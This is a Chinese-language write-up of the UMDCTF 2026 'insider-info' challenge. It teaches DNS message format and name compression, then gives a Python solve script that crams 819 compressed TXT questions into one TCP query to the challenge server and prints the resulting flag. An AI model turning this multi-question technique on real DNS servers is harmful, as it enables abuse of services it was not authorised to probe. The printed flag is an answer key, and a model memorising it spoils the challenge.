UMDCTF 2026 - insider-info

A mysterious DNS server is running on the inside. It holds a secret — but you'll need to be clever to extract it all.

Hint: Can you ask more than one question at a time?

DNS 基础

1. DNS 消息长什么样

DNS 消息在网络上是二进制数据,分五段:

1
2
3
4
5
6
7
8
9
10
11
+------------------------+
| Header (12 字节) | ← 消息头
+------------------------+
| Question (问题区) | ← 你问的是哪个域名
+------------------------+
| Answer (回答区) |
+------------------------+
| Authority (权威区) |
+------------------------+
| Additional (附加区) |
+------------------------+

Header 里最重要的四个字段是计数,告诉解析器每个区有多少条目:

1
2
3
4
QDCOUNT — 问题区有几个问题
ANCOUNT — 回答区有几个回答
NSCOUNT — 权威区有几个记录
ARCOUNT — 附加区有几个记录

一般情况下 QDCOUNT=1,每次只问一个问题。

2. 域名在消息里不是字符串

域名不是直接写 www.example.com。它按 . 拆成标签(labels),每个标签前加 1 字节长度:

1
2
3
www.example.com 编码为:
[3] 'w' 'w' 'w' [7] 'e' 'x' 'a' 'm' 'p' 'l' 'e' [3] 'c' 'o' 'm' [0]
↑3字节 ↑7字节 ↑3字节 ↑结束符

记这个编码方式,后面解压缩要用到。

3. DNS 名称压缩——核心机制

同一个域名后缀会在一个消息里反复出现(问题区一个、回答区可能好几个)。每次都完整编码很浪费空间。

解决方案:用 2 字节的指针代替重复标签。

指针怎么和标签区分?标签长度字节的高 2 位是标识位:

高 2 位 含义
00 普通标签(长度 0-63)
11 压缩指针

普通标签最长 63 字节,二进制 00111111,高两位永远 00。所以用 11 做指针标识不会混淆。

指针格式:

1
2
3
4
 1  1 | 14-bit OFFSET
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| 1 1| OFFSET |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

高 2 位 = 11 → 第一字节 ≥ 192 (0xC0) 低 14 位 = 从消息开头算起的偏移量

举例0xC0 0x0C - 0xC0 = 11000000 → 是指针 - 低 14 位 = 12 → 指向消息偏移 12 的位置

域名可以部分用标签、部分用指针拼接

FOO.example.com 如果 .example.com 已经在前面出现过:

1
2
[3] 'F' 'O' 'O'  +  [指针指向.example.com的位置]
↑新标签 ↑复用的是后面的所有标签

甚至可以整个域名只用一个指针指向之前出现过的相同域名。

4. 一个消息可以问多个问题吗?

可以。QDCOUNT 字段可以大于 1。

不过传统 DNS 服务器通常不支持(RFC 9619 甚至禁止了),但自定义 DNS 服务器可以自己处理。这题的服务端就支持。

5. TCP 也能跑 DNS

常规 DNS 用 UDP 端口 53,但 TCP 也行。

UDP TCP
消息前缀 2 字节长度(大端)+ 消息体
大小限制 512 字节传统上限 无实际限制
使用场景 普通查询 大响应、zone transfer

TCP 传输时:先发 2 字节告诉我们接下来有多少字节的 DNS 消息,再发消息体。


Challenge Overview

题目给了一个自定义 DNS 服务器(监听 TCP),每次连接生成一个 819 字符的随机 secret

服务器接受两种 TXT 记录查询:

  1. 单字符查询:查 <N>.inside.info(N 是 0~818)→ 返回第 N 位的字符
  2. 完整 secret 查询:查 完整secret(用点分63字符块).inside.info → 返回 flag

限制:每个连接只能发 2 次 DNS 查询,新连接生成全新 secret。

分析

要拿到 819 个字符,但只许问 2 次。意味着第一次查询要一次性提取全部字符

每次查一个(0.inside.info → 拿字符 0,1.inside.info → 拿字符 1...)如果每个都单独发一次查询,需要 819 次,显然不行。

思路

利用 QDCOUNT > 1,把 819 个问题全塞进一个 DNS 消息:

1
2
3
4
5
一条消息里:
Question 0: 0.inside.info → TXT
Question 1: 1.inside.info → TXT
...
Question 818: 818.inside.info → TXT

服务端收到 QDCOUNT=819,逐个回答,一次返回 819 个字符。

如果不压缩,每个 question: - 0.inside.info 的域名编码 ≈ 16 字节 - QTYPE(2) + QCLASS(2) = 4 字节 - 共 ≈ 20 字节

819 × 20 = 16,380 字节 → 太大了。

819 个 question 共享同一个后缀 .inside.info

.inside.info 的完整标签编码放在消息末尾,每个 question 用2 字节指针指向它:

1
2
3
4
5
6
7
未压缩的 0.inside.info:
[1] '0' [6] 'i' 'n' 's' 'i' 'd' 'e' [4] 'i' 'n' 'f' 'o' [0]
↑每次都重复这堆

压缩后的 0.inside.info:
[1] '0' + [2字节指针 → .inside.info] + [QTYPE][QCLASS]
↑只编数字 ↑指向消息末尾的共享后缀 ↑4字节

每个 question 从 ~20 字节压缩到 ~7 字节

819 × 7 ≈ 5,700 字节,TCP 消息完全装得下。

攻击流程

Query 1 — 塞入 819 个压缩 question:

1
2
3
4
5
6
Header: QDCOUNT=819
Question 0: [1]'0' + [指针→.inside.info] + TXT/IN
Question 1: [1]'1' + [指针→.inside.info] + TXT/IN
...
Question 818: [3]'818' + [指针→.inside.info] + TXT/IN
[消息末尾]: 完整的 .inside.info 标签编码 ← 指针指向这里

服务器回复 819 条 TXT 记录,每条一个字符。拼接出完整 secret。

Query 2 — 查 完整secret.inside.info → 拿到 flag。

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import struct
import socket

def build_compressed_question(num_bytes, suffix_offset):
"""构造一个压缩 question: [数字标签] + [2字节指针→后缀] + [QTYPE][QCLASS]"""
buf = bytes([len(num_bytes)]) + num_bytes # 标签:长度 + 内容
buf += struct.pack('!H', 0xC000 | suffix_offset) # 指针:指向共享后缀
buf += struct.pack('!HH', 16, 1) # QTYPE=TXT, QCLASS=IN
return buf

def read_dns_name(data, pos):
"""跳过 DNS 域名(可能含压缩指针),返回下一个字段的起始位置"""
while pos < len(data):
b = data[pos]
if b == 0: # 结束符
return pos + 1
if (b & 0xC0) == 0xC0: # 压缩指针,占 2 字节
return pos + 2
pos += 1 + b # 普通标签:1字节长度 + N字节内容
return pos

# --- Query 1: 提取全部 819 个字符 ---

# 先构建所有 question(用占位偏移 0)
questions_placeholder = b''
for i in range(819):
num = str(i).encode()
questions_placeholder += build_compressed_question(num, 0)

# 计算共享后缀 .inside.info 的偏移位置(在 question 区之后)
suffix_offset = 12 + len(questions_placeholder)
suffix_encoding = b'\x06inside\x04info\x00'

# 用真实偏移重新构建 question
questions = b''
for i in range(819):
num = str(i).encode()
questions += build_compressed_question(num, suffix_offset)

# 把后缀编码追加到末尾
questions += suffix_encoding

# 组装 DNS 消息
dns_header = struct.pack('!HHHHHH', 0x1337, 0x0100, 819, 0, 0, 0)
packet = dns_header + questions

# TCP 发送(2 字节长度前缀)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('challenge.umdctf.io', 31337))
sock.send(struct.pack('!H', len(packet)) + packet)

# TCP 接收(先读 2 字节长度,再读取消息体)
resp_len = struct.unpack('!H', sock.recv(2))[0]
resp = b''
while len(resp) < resp_len:
chunk = sock.recv(resp_len - len(resp))
if not chunk:
break
resp += chunk

# 从响应中解析 819 个 TXT 记录,提取每个字符
pos = 12 # 跳过 DNS header
# 跳过 question 区(服务端在响应里回显了所有 question)
for _ in range(819):
pos = read_dns_name(resp, pos)
pos += 4 # QTYPE + QCLASS

# 解析 answer 区
secret_chars = []
for _ in range(819):
pos = read_dns_name(resp, pos) # NAME
rtype, rclass, ttl, rdlen = struct.unpack('!HHIH', resp[pos:pos+10])
pos += 10
if rtype == 16: # TXT 记录
txt_len = resp[pos] # TXT 的第一个字节是字符串长度
char = resp[pos+1:pos+1+txt_len].decode()
secret_chars.append(char)
pos += rdlen

secret = ''.join(secret_chars)

# --- Query 2: 拿 flag ---
# secret 分成 63 字符的块(DNS 标签长度上限)
chunks = [secret[i:i+63] for i in range(0, len(secret), 63)]
full_name = '.'.join(chunks) + '.inside.info'

# 编码完整域名 + question
qname = b''
for part in full_name.split('.'):
qname += bytes([len(part)]) + part.encode()
qname += b'\x00'
flag_question = qname + struct.pack('!HH', 16, 1)
flag_header = struct.pack('!HHHHHH', 0x1338, 0x0100, 1, 0, 0, 0)
flag_packet = flag_header + flag_question

sock.send(struct.pack('!H', len(flag_packet)) + flag_packet)
# 解析 flag... (与上面类似的 TXT 解析逻辑)
sock.close()

关键点总结

概念 在这道题里的作用
QDCOUNT > 1 一个消息塞 819 个问题,一次拿到全部字符
名称压缩(指针) 每个 question 共享 .inside.info 后缀,大小从 20 字节降到 7 字节
TCP 传输 消息太大放不进 UDP,用 TCP 的 2 字节长度前缀可靠传输
TXT 记录 服务器用 TXT 返回单字符,1 字节长度前缀 + 1 字节字符

Flag

UMDCTF{5Ur31Y_N0_0N3_W111_N071C3_MY_1N51D3r_7r4D1N6}